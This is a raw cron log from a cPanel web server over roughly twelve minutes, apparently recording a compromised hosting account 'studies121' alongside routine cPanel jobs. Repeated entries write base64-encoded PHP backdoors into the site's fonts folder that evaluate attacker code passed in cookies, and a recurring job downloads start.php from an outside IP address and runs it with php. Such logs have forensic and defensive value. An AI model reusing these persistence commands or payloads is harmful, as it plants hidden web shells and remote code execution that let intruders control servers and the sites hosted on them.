Sep 21 12:43:01 ip-184-168-122-23 CROND[4608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:43:01 ip-184-168-122-23 CROND[4607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:44:01 ip-184-168-122-23 CROND[4828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:44:01 ip-184-168-122-23 CROND[4829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:44:01 ip-184-168-122-23 CROND[4831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:44:01 ip-184-168-122-23 CROND[4830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:44:01 ip-184-168-122-23 CROND[4833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:45:01 ip-184-168-122-23 CROND[5022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:45:01 ip-184-168-122-23 CROND[5024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:45:01 ip-184-168-122-23 CROND[5025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:45:01 ip-184-168-122-23 CROND[5029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:45:01 ip-184-168-122-23 CROND[5031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:45:01 ip-184-168-122-23 CROND[5030]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 21 12:45:01 ip-184-168-122-23 CROND[5032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:46:01 ip-184-168-122-23 CROND[5170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:46:01 ip-184-168-122-23 CROND[5172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:46:01 ip-184-168-122-23 CROND[5173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:46:01 ip-184-168-122-23 CROND[5177]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 12:46:01 ip-184-168-122-23 CROND[5178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:46:01 ip-184-168-122-23 CROND[5174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:46:01 ip-184-168-122-23 CROND[5175]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 12:47:01 ip-184-168-122-23 CROND[5299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:47:01 ip-184-168-122-23 CROND[5302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:47:01 ip-184-168-122-23 CROND[5300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:47:01 ip-184-168-122-23 CROND[5301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:48:01 ip-184-168-122-23 CROND[5453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:48:01 ip-184-168-122-23 CROND[5454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:48:01 ip-184-168-122-23 CROND[5456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:48:01 ip-184-168-122-23 CROND[5455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:48:01 ip-184-168-122-23 CROND[5457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:49:01 ip-184-168-122-23 CROND[5617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:49:01 ip-184-168-122-23 CROND[5619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:49:01 ip-184-168-122-23 CROND[5622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:49:01 ip-184-168-122-23 CROND[5623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:50:01 ip-184-168-122-23 CROND[5745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:50:01 ip-184-168-122-23 CROND[5746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:50:01 ip-184-168-122-23 CROND[5749]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 12:50:02 ip-184-168-122-23 CROND[5754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:50:02 ip-184-168-122-23 CROND[5759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 12:50:02 ip-184-168-122-23 CROND[5757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:50:02 ip-184-168-122-23 CROND[5755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:50:02 ip-184-168-122-23 CROND[5756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:50:02 ip-184-168-122-23 CROND[5758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:51:01 ip-184-168-122-23 CROND[5895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:51:01 ip-184-168-122-23 CROND[5896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:51:01 ip-184-168-122-23 CROND[5898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:51:01 ip-184-168-122-23 CROND[5897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:52:01 ip-184-168-122-23 CROND[6099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:52:01 ip-184-168-122-23 CROND[6101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:52:01 ip-184-168-122-23 CROND[6103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:52:01 ip-184-168-122-23 CROND[6105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:52:01 ip-184-168-122-23 CROND[6106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:53:01 ip-184-168-122-23 CROND[6332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:53:01 ip-184-168-122-23 CROND[6334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:53:01 ip-184-168-122-23 CROND[6335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:53:01 ip-184-168-122-23 CROND[6336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:54:01 ip-184-168-122-23 CROND[6478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:54:01 ip-184-168-122-23 CROND[6481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:54:01 ip-184-168-122-23 CROND[6482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:54:01 ip-184-168-122-23 CROND[6483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:54:01 ip-184-168-122-23 CROND[6480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:55:01 ip-184-168-122-23 CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:55:01 ip-184-168-122-23 CROND[6620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:55:01 ip-184-168-122-23 CROND[6623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:55:01 ip-184-168-122-23 CROND[6625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:55:01 ip-184-168-122-23 CROND[6626]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
